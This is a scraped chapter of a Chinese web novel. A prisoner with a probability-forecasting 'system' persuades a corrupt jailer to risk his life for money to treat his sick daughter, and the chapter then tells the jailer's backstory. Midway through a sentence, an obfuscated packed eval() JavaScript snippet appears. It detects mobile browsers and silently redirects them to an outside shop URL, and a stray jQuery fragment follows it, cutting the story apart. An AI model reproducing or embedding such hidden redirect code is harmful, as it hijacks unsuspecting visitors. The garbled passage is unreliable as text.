过了大约两个时辰,张大河回来了。
他蹲在牢房门口,压低声音,但王不二能听出他声音里的兴奋。
张大河:“你那主人真他娘的怪。”
王不二:“怎么?”
张大河:“老子喝酒,顺便就把那话传了,客栈里一下子就传开了。你那主人听见后,脸都白了,马上就回房间了,这怂包上楼梯还绊了一跤。”
王不二嘴角一勾。
第一步,鱼上钩了。
张大河蹲在王不二的牢房门口,伸出手:“话传了。十两呢?”
王不二看着他,没动。
张大河眯起眼:“别告诉老子你没钱。”
王不二:“小人确实没钱。”
张大河的脸色变了:“你他/妈耍我?!”
他一拳砸在栅栏上,发出巨响:“老子大半夜跑去传话,冒着被发现的危险,你告诉老子没钱?!”
王不二一动不动,只是看着他。
张大河恨恨道:“你知不知道,老子要是被人发现,饭碗就没了!老子闺女还等着看病!你他妈一句没钱就完了?!”
王不二愣了愣。
张大河也是活生生的人,也有家人。
张大河又是一拳砸在栅栏上。
狱卒的脚步声从远处传来。
张大河迅速站起来,假装在巡逻。等脚步声远了,他又蹲下来,咬牙切齿道:“王不二,你今天不给个说法,老子现在就打死你。”
王不二看着他,忽然笑了:“张大哥,您打完小人,能拿到钱吗?”
张大河愣住了。
王不二:“您打死小人,一分钱也拿不到。您留着小人,二十两在等着您。”
张大河:“二十两?哪儿?”
王不二:“陆时研手里。”
张大河冷笑:“你让老子去找陆时研要钱?我疯了?”
王不二:“您按照我说的做,他就会给您。”
张大河:“凭什么?”
王不二:“因为您手里会有他想要的东西。”
张大河:“什么东西?”
王不二:“他查了很久的案子的,证据。”
张大河盯着他,心下琢磨王不二的可信度。
王不二:“张大哥,您听小人说完。如果听完您还想打小人,小人绝不还手。但如果您听完,发现小人说的是真的,那二十两就是您的。”
张大河想了想,松开拳头:“说。老子看你能说出什么花来。”
王不二用只能两个人听到的音量耳语道:“王文杰,今晚会死。”
张大河的瞳孔猛地收缩:“你怎么会知道。”
王不二:“他会被人杀死。杀他的人,会拿走他手里的账册。”
张大河:“你怎么知道?”
王不二:“小人算出来的。”
【系统提示】:成功兑换30积分,开启【事件推演(初级)】。
【系统】:正在推演王文杰被灭口事件……
推演结果:
①王文杰死亡概率:100%
②黑衣人出现概率:100%
③账册被黑衣人拿走概率:100%
张大河行动成功率分析:
①在黑衣人之前拿到账册的概率:72%
②成功撕下关键页的概率:68%
③全身而退的概率:58%
死亡风险:
①被黑衣人发现当场杀死:22%
②被黑衣人追杀逃脱失败:12%
③其他意外:8%
也就是说,张大河此次行动有42%的死亡概率。
王不二的呼吸停了一秒。
他又让系统进一步推演了张大河能成功撕下关键页的行动路线。
看着系统展示的黑衣人动线分析,王不二皱起眉头。
要抢时间,不是不行,但风险也很大。
四成二的概率,张大河会死。
但现在,张大河也是他唯一能用的了。
王不二闭上眼睛,又睁开:“张大哥,小人接下来要说的话,您听好了。”
张大河:“说。”
王不二:“今晚的行动,您有可能会死。”
张大河的手抖了一下。
王不二:“那两个黑衣人,不是普通人。他们杀人,不眨眼。如果您被他们发现,必死无疑。”
张大河:“……概率多大?”
王不二:“四成。”
张大河沉默了。
王不二:“小人不会骗您。您去,有六成活下来,拿到二十两。您不去,现在就回去睡觉,什么事都没有,但二十两也没有了,您闺女,不知道得的什么病,但是也没这钱好好治了。”
张大河抬起头,看着他:“你他妈……非要说这么狠?
王不二:“小人只是让您看清。看清了再选。”
王不二盯着他,盯了很久。
张大河:“如果我按你的办了,也活着回来了,陆大人就会给我二十两?”
王不二:“按我说的来,就会。”
“如果你不信,你可以去看看我接下来说的五件事,准不准。但凡有一件不准,你回头走就好,不会有钱拿,但也不会死。”
张大河在听完王不二的安排后,消化了一遍,又复述确认了一遍,循环往复了三次,整个流程已经背熟了。
他又陷入了沉默。
很久很久。
*
张大河在刑部干了二十年,还是个底层狱卒。这种人,要么是太笨升不上去,要么是太油不敢升。
张大河是后者。
他太油了。油到知道什么钱能拿,什么人能得罪,什么时候该装孙子。
他从死人身上摸钱,从犯人身上勒索钱,被他拿了钱的人看到他都得说一句:啐,张大河这人真/他/妈/不是个好东西。
张大河有个女儿名叫小花。
和陈璟差不多大,比陈璟要瘦小许多,脸色永远蜡黄蜡黄的。
没有什么年轻人的精气神,看着那副形容枯槁,只剩死气了。
她娘死得早,张大河一个人把她拉扯大。
爹不是个东西,可闺女却真是个好闺女,知道爹在牢里当差,一个月拿不了几个钱,从来不说要这要那。衣服破了,自己缝,针扎伤了手,就把手藏起来不给爹看。饿了,就啃馒头,奶奶病了,她馒头也不吃了,给奶奶留着。
理所当然的,自己病了,也不吭声。
直到有一天,她站不起来了。
大夫说是几年前摔伤,伤口感染,频繁发烧,烧坏了腿上的筋,
拖得太久了,现在治,也治不好。跟张大河一起喝酒的兄弟出主意,治病太花钱,女娃子年纪到了,卖了还能换点钱,让张大河再娶个媳妇。
张大河揍了那兄弟一顿。然后又找了个新的大夫给闺女看。
新大夫是临县的神医,一般不出面给人看病
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420286|200809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,除非钱给够。张大河冒着丢饭碗的风险,从新收押的犯人那里敲了一笔竹杠,凑齐了四两银子,请新大夫过来看病,可新大夫叹了气,摇摇头:“孩子是这辈子,怕是得当瘸子了,以后站不站得起来都不知道。”
张大河在家门口站了很久。
久到大夫走了,久到天黑,久到小环在屋里喊他“爹”他才动。
他推开门,走进去。
小花躺在床上,看着他,好像懂了什么,又好像还带着希望:“爹,我还能治吗?”
张大河挤出一个大剌剌的笑:“大夫说再吃几副药就好了,爹高兴,送了大夫一程。”
小花的眼睛里燃起烈烈的希望:“爹当真?”
张大河点点头:“当真。”
小花笑了,笑起来,大眼睛弯弯的,和她娘一样好看。
小花:“我好了我也不嫁人。爹和奶没了我不行。我要和爹,和我奶一起,等开春了,我还想放风筝,娘教我做的风筝,我想放给娘看。”
张大河打着哈欠说:“好好好。吃不消你。”
一边笑,一边走出门,走到闺女和娘看不见的地方,蹲在地上,小小声地哭,涕泗横流。
街坊都挺心疼小花的,张大河这当爹的一辈子没出息,一辈子大老粗,对她呼来喝去,小花的腿一定是让他给打断的。
不过心疼归心疼,就算是稀粥也绝不会给小花吃一口的。
街坊不知道,但小花知道。
她知道爹每个月发钱,第一件事就是给她买猪肉吃。
猪肉只有她和奶奶有的吃,爹喝稀粥配榨菜,说牢里伙食好,他吃多了吃不下。
她知道爹每次夜班偷偷溜回来,都会摸摸她的头。如果她的手凉,爹就会把她的手放进怀里捂捂暖。
她知道爹每年过年都会给她买糖人,把糖人插在她的床头缝里,糖霜都掉到床上了。
爹说那是娘下凡来看她,给她买的。
*
二十年前,小眼睛大脸盘的大老粗也曾是个年轻后生,刚进刑部的时候,也想过好好干,升上去,出人头地。
但干了几年就明白了。没背景,没靠山,没银子,升什么升?
他认了。认了之后,就得活。
月钱三两银子,够干什么?够他自己吃喝?够他那个破院子不塌?够给媳妇看病?还是够给娘亲送终?
*
张大河爱钱爱惨了。他要贪,多贪一点是一点。
他怕死,当然怕,怕死了没人给媳妇烧纸钱,怕死了闺女没人托付找不到好人家,怕死了娘亲没人给埋了立坟。
*
张大河望着王不二,忽然笑了:“老子这辈子,上官骂我,同僚笑我,犯人恨我。没人把我当人。都说我掉在钱眼子里了,要钱不要命,你还是第一个让我‘看清了再选’的人。”
他站起身,拍拍衣摆。
张大河:“老子去。”
王不二张了张嘴,没说话。
张大河:“老子就是要钱不要命。”
他盯着王不二:“那五件事,你/他/妈给我算准点。”
王不二淡然地迎着张大河的目光:“我算的准,加上你命大,你女儿有福报。去吧。”
张大河:“真的?”
王不二点点头:“所以我选你,不选别人。只有你命大能成事。”
张大河又深深看了王不二一眼,转身走了。
王不二看着他的背影,手攥紧了栅栏。